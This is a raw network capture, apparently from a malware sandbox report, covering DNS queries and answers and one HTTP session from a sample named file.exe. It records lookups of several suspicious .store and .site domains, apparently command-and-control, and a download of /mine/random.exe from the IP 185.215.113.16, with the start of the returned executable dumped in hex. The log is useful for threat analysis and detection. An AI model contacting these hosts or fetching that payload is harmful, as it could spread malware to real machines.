Oct 24, 2024 11:03:12.618724108 CEST	192.168.2.6	1.1.1.1	0xe5b6	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.628863096 CEST	192.168.2.6	1.1.1.1	0x4716	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.639055967 CEST	192.168.2.6	1.1.1.1	0x3e84	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:12.643745899 CEST	192.168.2.6	1.1.1.1	0x6cc0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.660434008 CEST	192.168.2.6	1.1.1.1	0xa865	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 11:03:14.405368090 CEST	192.168.2.6	1.1.1.1	0x4c6a	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:14.432980061 CEST	192.168.2.6	1.1.1.1	0x55af	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:14.455401897 CEST	192.168.2.6	1.1.1.1	0x5350	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:14.455401897 CEST	192.168.2.6	1.1.1.1	0x5bd6	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 11:03:14.477296114 CEST	192.168.2.6	1.1.1.1	0x42c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:15.201832056 CEST	192.168.2.6	1.1.1.1	0xb0e9	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:15.207926035 CEST	192.168.2.6	1.1.1.1	0x938e	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:15.247133970 CEST	192.168.2.6	1.1.1.1	0x6ac0	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:15.248785019 CEST	192.168.2.6	1.1.1.1	0xe826	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:15.251473904 CEST	192.168.2.6	1.1.1.1	0xeabf	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.065577030 CEST	192.168.2.6	1.1.1.1	0xd119	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.076611042 CEST	192.168.2.6	1.1.1.1	0x97a7	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:16.080822945 CEST	192.168.2.6	1.1.1.1	0x8446	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.089313984 CEST	192.168.2.6	1.1.1.1	0x80a7	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:34.354954958 CEST	192.168.2.6	1.1.1.1	0xcb54	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:35.994319916 CEST	192.168.2.6	1.1.1.1	0x94ac	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:35.994683027 CEST	192.168.2.6	1.1.1.1	0xd498	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:37.712685108 CEST	192.168.2.6	1.1.1.1	0xe490	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 11:03:37.840615988 CEST	192.168.2.6	1.1.1.1	0x7c92	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:37.863543034 CEST	192.168.2.6	1.1.1.1	0xa9db	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:38.439707994 CEST	192.168.2.6	1.1.1.1	0x7f48	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.452950954 CEST	192.168.2.6	1.1.1.1	0xa004	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.464313030 CEST	192.168.2.6	1.1.1.1	0x73ba	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.476264954 CEST	192.168.2.6	1.1.1.1	0x9c0	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.504724979 CEST	192.168.2.6	1.1.1.1	0x50d	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.518170118 CEST	192.168.2.6	1.1.1.1	0xe5ee	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.531253099 CEST	192.168.2.6	1.1.1.1	0x8bdb	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.546216965 CEST	192.168.2.6	1.1.1.1	0x97f8	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.572243929 CEST	192.168.2.6	1.1.1.1	0xccbe	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:46.933626890 CEST	192.168.2.6	1.1.1.1	0x4134	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:46.951062918 CEST	192.168.2.6	1.1.1.1	0xaacc	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:46.974678040 CEST	192.168.2.6	1.1.1.1	0x85cb	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:03:48.761059046 CEST	192.168.2.6	1.1.1.1	0x930	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:48.796019077 CEST	192.168.2.6	1.1.1.1	0x930	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:10.057677984 CEST	192.168.2.6	1.1.1.1	0xfcd8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:04:10.118681908 CEST	192.168.2.6	1.1.1.1	0xfcd8	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:04:10.442619085 CEST	192.168.2.6	1.1.1.1	0x4351	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:10.477137089 CEST	192.168.2.6	1.1.1.1	0x4351	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:10.536020041 CEST	192.168.2.6	1.1.1.1	0x96f9	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 11:04:10.552458048 CEST	192.168.2.6	1.1.1.1	0xce6a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:04:10.595182896 CEST	192.168.2.6	1.1.1.1	0x6192	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:10.615323067 CEST	192.168.2.6	1.1.1.1	0xea3f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:04:13.481345892 CEST	192.168.2.6	1.1.1.1	0x3a68	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:04:28.336323977 CEST	192.168.2.6	1.1.1.1	0xa0ec	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.432996988 CEST	192.168.2.6	1.1.1.1	0xaaf0	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 11:04:39.437915087 CEST	192.168.2.6	1.1.1.1	0xd74c	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.447216034 CEST	192.168.2.6	1.1.1.1	0x634c	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.451000929 CEST	192.168.2.6	1.1.1.1	0x7282	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.456856012 CEST	192.168.2.6	1.1.1.1	0x3461	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.460469007 CEST	192.168.2.6	1.1.1.1	0xe184	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Oct 24, 2024 11:04:39.475498915 CEST	192.168.2.6	1.1.1.1	0xe4f	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 11:02:13.986100912 CEST	1.1.1.1	192.168.2.6	0x673f	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.000161886 CEST	1.1.1.1	192.168.2.6	0xf221	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.012932062 CEST	1.1.1.1	192.168.2.6	0xcb5	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.023473024 CEST	1.1.1.1	192.168.2.6	0x7b09	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.036128044 CEST	1.1.1.1	192.168.2.6	0x6238	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.046916962 CEST	1.1.1.1	192.168.2.6	0x9cc4	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.059948921 CEST	1.1.1.1	192.168.2.6	0xc4d7	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.071878910 CEST	1.1.1.1	192.168.2.6	0x4d32	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:14.082362890 CEST	1.1.1.1	192.168.2.6	0x74a1	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:15.791497946 CEST	1.1.1.1	192.168.2.6	0x5790	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:15.791497946 CEST	1.1.1.1	192.168.2.6	0x5790	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.562963963 CEST	1.1.1.1	192.168.2.6	0x90a9	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.583494902 CEST	1.1.1.1	192.168.2.6	0x4429	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.596529007 CEST	1.1.1.1	192.168.2.6	0xfd62	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.610351086 CEST	1.1.1.1	192.168.2.6	0x1182	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.624092102 CEST	1.1.1.1	192.168.2.6	0xe59a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.636100054 CEST	1.1.1.1	192.168.2.6	0x5b90	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.654752016 CEST	1.1.1.1	192.168.2.6	0x20e3	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.671668053 CEST	1.1.1.1	192.168.2.6	0x6d28	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:02:49.684604883 CEST	1.1.1.1	192.168.2.6	0xea6	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.399581909 CEST	1.1.1.1	192.168.2.6	0xeb25	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.425903082 CEST	1.1.1.1	192.168.2.6	0x945e	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.438519955 CEST	1.1.1.1	192.168.2.6	0x7491	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.453353882 CEST	1.1.1.1	192.168.2.6	0x729c	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.467649937 CEST	1.1.1.1	192.168.2.6	0x7652	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.481108904 CEST	1.1.1.1	192.168.2.6	0x3678	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.493196011 CEST	1.1.1.1	192.168.2.6	0x5a2c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.506078005 CEST	1.1.1.1	192.168.2.6	0xe021	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:03.517160892 CEST	1.1.1.1	192.168.2.6	0xa01a	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:09.949562073 CEST	1.1.1.1	192.168.2.6	0xe964	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:09.972853899 CEST	1.1.1.1	192.168.2.6	0xa982	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.625976086 CEST	1.1.1.1	192.168.2.6	0xc8d2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:12.625976086 CEST	1.1.1.1	192.168.2.6	0xc8d2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.625993013 CEST	1.1.1.1	192.168.2.6	0xe5b6	No error (0)	youtube.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.636413097 CEST	1.1.1.1	192.168.2.6	0x4716	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.646589041 CEST	1.1.1.1	192.168.2.6	0x3e84	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 11:03:12.650969982 CEST	1.1.1.1	192.168.2.6	0x6cc0	No error (0)	youtube.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:12.668951988 CEST	1.1.1.1	192.168.2.6	0xa865	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 11:03:14.412928104 CEST	1.1.1.1	192.168.2.6	0x4c6a	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:14.428884029 CEST	1.1.1.1	192.168.2.6	0x85d7	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:14.428884029 CEST	1.1.1.1	192.168.2.6	0x85d7	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:14.440325022 CEST	1.1.1.1	192.168.2.6	0x55af	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:14.463283062 CEST	1.1.1.1	192.168.2.6	0x5350	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.062695026 CEST	1.1.1.1	192.168.2.6	0x938e	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.062705040 CEST	1.1.1.1	192.168.2.6	0x6ac0	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.062705040 CEST	1.1.1.1	192.168.2.6	0x6ac0	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.062717915 CEST	1.1.1.1	192.168.2.6	0xe826	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:16.062717915 CEST	1.1.1.1	192.168.2.6	0xe826	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.062727928 CEST	1.1.1.1	192.168.2.6	0xb0e9	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:16.062727928 CEST	1.1.1.1	192.168.2.6	0xb0e9	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.063059092 CEST	1.1.1.1	192.168.2.6	0xeabf	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:16.063059092 CEST	1.1.1.1	192.168.2.6	0xeabf	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:16.063059092 CEST	1.1.1.1	192.168.2.6	0xeabf	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.073164940 CEST	1.1.1.1	192.168.2.6	0xd119	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:16.084069014 CEST	1.1.1.1	192.168.2.6	0x97a7	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 11:03:16.088747025 CEST	1.1.1.1	192.168.2.6	0x8446	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:36.001931906 CEST	1.1.1.1	192.168.2.6	0x94ac	No error (0)	youtube.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:36.002307892 CEST	1.1.1.1	192.168.2.6	0xd498	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 11:03:38.448955059 CEST	1.1.1.1	192.168.2.6	0x7f48	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.462786913 CEST	1.1.1.1	192.168.2.6	0xa004	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.473892927 CEST	1.1.1.1	192.168.2.6	0x73ba	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.495510101 CEST	1.1.1.1	192.168.2.6	0x9c0	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.514400005 CEST	1.1.1.1	192.168.2.6	0x50d	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.528589010 CEST	1.1.1.1	192.168.2.6	0xe5ee	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.540349960 CEST	1.1.1.1	192.168.2.6	0x8bdb	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.555531025 CEST	1.1.1.1	192.168.2.6	0x97f8	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:38.579828024 CEST	1.1.1.1	192.168.2.6	0xccbe	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:46.941230059 CEST	1.1.1.1	192.168.2.6	0x4134	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:46.941230059 CEST	1.1.1.1	192.168.2.6	0x4134	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:46.941230059 CEST	1.1.1.1	192.168.2.6	0x4134	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:46.959057093 CEST	1.1.1.1	192.168.2.6	0xaacc	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:03:49.018178940 CEST	1.1.1.1	192.168.2.6	0x930	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:03:49.018949032 CEST	1.1.1.1	192.168.2.6	0x930	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:10.450227976 CEST	1.1.1.1	192.168.2.6	0x4351	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:10.450227976 CEST	1.1.1.1	192.168.2.6	0x4351	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:10.484719992 CEST	1.1.1.1	192.168.2.6	0x4351	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:10.484719992 CEST	1.1.1.1	192.168.2.6	0x4351	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:10.569153070 CEST	1.1.1.1	192.168.2.6	0xc48	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:10.569153070 CEST	1.1.1.1	192.168.2.6	0xc48	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:10.603065968 CEST	1.1.1.1	192.168.2.6	0x6192	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:11.236077070 CEST	1.1.1.1	192.168.2.6	0xebe2	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:11.236077070 CEST	1.1.1.1	192.168.2.6	0xebe2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:28.352013111 CEST	1.1.1.1	192.168.2.6	0xa0ec	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:28.352013111 CEST	1.1.1.1	192.168.2.6	0xa0ec	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.430162907 CEST	1.1.1.1	192.168.2.6	0xdc5	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:39.430162907 CEST	1.1.1.1	192.168.2.6	0xdc5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.445769072 CEST	1.1.1.1	192.168.2.6	0xd74c	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.445769072 CEST	1.1.1.1	192.168.2.6	0xd74c	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.445769072 CEST	1.1.1.1	192.168.2.6	0xd74c	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.445769072 CEST	1.1.1.1	192.168.2.6	0xd74c	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.455353975 CEST	1.1.1.1	192.168.2.6	0x634c	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:39.455353975 CEST	1.1.1.1	192.168.2.6	0x634c	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.458971024 CEST	1.1.1.1	192.168.2.6	0x7282	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.458971024 CEST	1.1.1.1	192.168.2.6	0x7282	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.458971024 CEST	1.1.1.1	192.168.2.6	0x7282	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.458971024 CEST	1.1.1.1	192.168.2.6	0x7282	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:39.464756012 CEST	1.1.1.1	192.168.2.6	0x3461	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 24, 2024 11:04:40.743899107 CEST	1.1.1.1	192.168.2.6	0x42fd	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 11:04:40.743899107 CEST	1.1.1.1	192.168.2.6	0x42fd	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49756	185.215.113.16	80	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 11:02:27.731507063 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 11:02:28.651643038 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 09:02:28 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Thu, 24 Oct 2024 08:57:47 GMT Connection: keep-alive ETag: "671a0c0b-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a 